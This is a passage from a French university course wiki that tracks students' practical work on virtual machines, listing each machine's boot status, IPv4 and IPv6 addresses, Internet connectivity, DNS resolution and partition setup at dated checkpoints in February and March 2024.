| palourde.fun || &amp;lt;code&amp;gt;palourde&amp;lt;/code&amp;gt; démarrée || || || Configuration du commutateur virtuel SE4 sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, propre. Configuration complète du C9200, très bien (14/02).&lt;br /&gt;
|-&lt;br /&gt;
| 7 || Amaury BECQUET&lt;br /&gt;
| bigorneau.fun || &amp;lt;code&amp;gt;bigorneau&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 8 || Youness EL QASTALANI&lt;br /&gt;
| munchkin.site || &amp;lt;code&amp;gt;munchkin&amp;lt;/code&amp;gt; démarre (non maj, écrasée avec nouvelle installation) || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 9 || Heriniaina ANDRIANIRINTSOA&lt;br /&gt;
| || &amp;lt;code&amp;gt;ecureuil&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 10 || Younes BENMBAREK&lt;br /&gt;
| siamois.site || &amp;lt;code&amp;gt;siamois&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 11 || Chaymae RHANIM&lt;br /&gt;
| || &amp;lt;code&amp;gt;lynx&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 12 || Ayoub CHAOUNI&lt;br /&gt;
| nyala.website || &amp;lt;code&amp;gt;nyala&amp;lt;/code&amp;gt; démarrée || || vous n'avez pas à spécifier d'interfaces initiales ||&lt;br /&gt;
|-&lt;br /&gt;
| 13 ||&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 14 || Thomas NAVE&lt;br /&gt;
| ornithorynque.lol || &amp;lt;code&amp;gt;ornithorynque&amp;lt;/code&amp;gt; démarre (maj terminée, très bien) || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 15 || Adrien PALIFERRO&lt;br /&gt;
| || &amp;lt;code&amp;gt;axolotl&amp;lt;/code&amp;gt; non lancée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 16 || Thibault DUYCK&lt;br /&gt;
| caribou.lol || &amp;lt;code&amp;gt;caribou&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 17 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 18 || Stéphane KADER-ISSACK&lt;br /&gt;
| || &amp;lt;code&amp;gt;singe&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 19 || Marion NORMAND&lt;br /&gt;
| || &amp;lt;code&amp;gt;loutre&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 20 || Taha NEHARI&lt;br /&gt;
| fennec.pics || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 21 || Martin CHAUVELIERE&lt;br /&gt;
| castor-canard.lol || &amp;lt;code&amp;gt;castor-canard&amp;lt;/code&amp;gt; démarre (maj terminée, très bien) || || ||&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Contrôle continu 14/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
Bilan pour les machines de services. Il est normal de ne pas avoir une adresse IPv4 routée pour une machine de services.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° élève !! Nom machine&lt;br /&gt;
! IPv4 privée !! IPv4 routée !! Connexion IPv4 Internet&lt;br /&gt;
! IPv6 routée !! Connexion IPv6 Internet&lt;br /&gt;
! Résolution DNS&lt;br /&gt;
|-&lt;br /&gt;
| 1 || aigle || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 192.168.7.2&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe79:a033&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 2 || chevreuil || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 14.14.14.10&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || pas de connectivité à Internet en IPv4 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe3e:25a3&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 3 || belette || pas d'IPv4 sur le CV || pas d'IPv4 sur SE4 || pas de connectivité à Internet en IPv4 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe83:642e&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 4 || truite || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.10.10.10&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || pas de connectivité à Internet en IPv4 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe76:c541&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| 5 || esturgeon || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.10.10.11&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || pas de connectivité à Internet en IPv4 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe28:9560&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| 6 || palourde || pas d'IPv4 sur le CV || pas d'IPv4 sur SE4 || pas de connectivité à Internet en IPv4 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe3e:cbda&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| 7 || bigorneau || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.10.10.11&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || pas de connectivité à Internet en IPv4 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe59:3697&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| 8 || munchkin || pas d'IPv4 sur le CV || pas d'IPv4 sur SE4 || pas de connectivité à Internet en IPv4 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fea5:bb5e&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| 9 || ecureuil || pas d'IPv4 sur le CV || pas d'IPv4 sur SE4 || pas de connectivité à Internet en IPv4 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:feb2:555e&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| 10 || siamois || pas d'IPv4 sur le CV || pas d'IPv4 sur SE4 || pas de connectivité à Internet en IPv4 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:feb0:ceb2&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| 11 || lynx || pas d'IPv4 sur le CV || pas d'IPv4 sur SE4 || pas de connectivité à Internet en IPv4 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe2d:46de&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 12 || nyala || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 192.168.7.3&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:feb2:9eed&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 13 || tigre || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 192.168.10.3&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || pas de connectivité à Internet en IPv4 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe8c:6bb0&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 14 || ornithorynque || pas d'IPv4 sur le CV || pas d'IPv4 sur SE4 || pas de connectivité à Internet en IPv4 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe2f:914a&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 15 || axolotl || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.10.10.18&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || pas de connectivité à Internet en IPv4 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:feb3:f888&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 16 || caribou || pas d'IPv4 sur le CV || pas d'IPv4 sur SE4 || pas de connectivité à Internet en IPv4 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe0a:5ec5&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 17 || panthere || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 192.168.10.2&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || pas de connectivité à Internet en IPv4 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe52:a79f&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 18 || singe || pas d'IPv4 sur le CV || pas d'IPv4 sur SE4 || pas de connectivité à Internet en IPv4 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe9d:46b9&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| 19 || loutre || pas d'IPv4 sur le CV || pas d'IPv4 sur SE4 || pas de connectivité à Internet en IPv4 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe4f:5cd&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| 20 || fennec || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 11.11.11.21&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || pas de connectivité à Internet en IPv4 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fef3:dbe8&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 21 || castor-canard || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 11.11.11.20&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || pas de connectivité à Internet en IPv4 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe42:f09a&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Bilan pour les machines mandataires.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° élève !! Nom machine&lt;br /&gt;
! IPv4 privée !! IPv4 routée !! Connexion IPv4 Internet&lt;br /&gt;
! IPv6 routée !! Connexion IPv6 Internet&lt;br /&gt;
! Résolution DNS&lt;br /&gt;
|-&lt;br /&gt;
| 1 || brachiosaure || pas d'IPv4 sur le CV || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur SE4 : 193.48.57.181&amp;lt;/div&amp;gt; || pas de connectivité à Internet en IPv4 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe64:9bd8&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 2 || heterodontosaurus || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 192.168.7.4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur SE4 : 193.48.57.185&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe06:fdf5&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 3 || mosasaurus || pas d'IPv4 sur le CV || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur SE4 : 193.48.57.188&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe8f:709&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 4 || plesiosaurus || pas d'IPv4 sur le CV || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur SE4 : 193.48.57.186&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:feeb:3067&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 5 || pteranodon || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 19.19.19.12&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur SE4 : 193.48.57.187&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe8f:fa9&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 6 || raptor || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.10.10.1&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur SE4 : 193.48.57.182&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fefc:6d5b&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 7 || smilodon || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 192.168.10.1&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur SE4 : 193.48.57.180&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe1c:6d24&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 8 || spinosaure || pas d'IPv4 sur le CV || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur SE4 : 193.48.57.179&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe4d:60f1&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 9 || trex || pas d'IPv4 sur le CV || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur SE4 : 193.48.57.183&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe0e:437d&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 10 || triceratops || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 11.11.11.1&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur SE4 : 193.48.57.189&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe5f:b679&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 11 || velociraptor || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 12.12.12.16&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur SE4 : 193.48.57.184&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:feef:fbb8&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Pour les partitions &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; sur les machines de services.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° élève !! Nom machine&lt;br /&gt;
! Partitions&lt;br /&gt;
|-&lt;br /&gt;
| 1 || aigle || &amp;lt;div style='color: green;'&amp;gt;Partitions installées&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 2 || chevreuil || &amp;lt;div style='color: green;'&amp;gt;Partitions installées&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 3 || belette || &amp;lt;div style='color: green;'&amp;gt;Partitions installées&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 4 || truite || &amp;lt;div style='color: green;'&amp;gt;Partitions installées&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 5 || esturgeon || &amp;lt;div style='color: green;'&amp;gt;Partitions installées&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 6 || palourde || &amp;lt;div style='color: green;'&amp;gt;Partitions installées&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 7 || bigorneau || &amp;lt;div style='color: green;'&amp;gt;Partitions installées&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 8 || munchkin || &amp;lt;div style='color: green;'&amp;gt;Partitions installées&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 9 || ecureuil || &amp;lt;div style='color: green;'&amp;gt;Partitions installées&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 10 || siamois || &amp;lt;div style='color: green;'&amp;gt;Partitions installées&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 11 || lynx || &amp;lt;div style='color: green;'&amp;gt;Partitions installées&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 12 || nyala || &amp;lt;div style='color: green;'&amp;gt;Partitions installées&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 13 || tigre || Pas de partitions&lt;br /&gt;
|-&lt;br /&gt;
| 14 || ornithorynque || &amp;lt;div style='color: green;'&amp;gt;Partitions installées&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 15 || axolotl || &amp;lt;div style='color: green;'&amp;gt;Partitions installées&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 16 || caribou || &amp;lt;div style='color: green;'&amp;gt;Partitions installées&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 17 || panthere || Pas de partitions&lt;br /&gt;
|-&lt;br /&gt;
| 18 || singe || Pas de partitions&lt;br /&gt;
|-&lt;br /&gt;
| 19 || loutre || Pas de partitions&lt;br /&gt;
|-&lt;br /&gt;
| 20 || fennec || &amp;lt;div style='color: green;'&amp;gt;Partitions installées&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 21 || castor-canard || &amp;lt;div style='color: green;'&amp;gt;Partitions installées&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Contrôle continu 6/03/2024 ==&lt;br /&gt;
&lt;br /&gt;
=== Contrôle à 12h ===&lt;br /&gt;
&lt;br /&gt;
Bilan pour les machines de services. Il est normal de ne pas avoir une adresse IPv4 routée pour une machine de services. &lt;br /&gt;
Le disque d'&amp;lt;code&amp;gt;axolotl&amp;lt;/code&amp;gt; n'était pas stocké dans le bon répertoire est a été détruit. La machine est à recréer.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° élève !! Nom machine&lt;br /&gt;
! IPv4 privée !! IPv4 routée !! Connexion IPv4 Internet&lt;br /&gt;
! IPv6 routée !! Connexion IPv6 Internet&lt;br /&gt;
! Résolution DNS&lt;br /&gt;
|-&lt;br /&gt;
| 1 || aigle || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 192.168.7.2&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe79:a033&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 2 || chevreuil || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 14.14.14.10&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || pas de connectivité à Internet en IPv4 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe3e:25a3&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 3 || belette || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 14.14.14.11&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || pas de connectivité à Internet en IPv4 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe83:642e&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
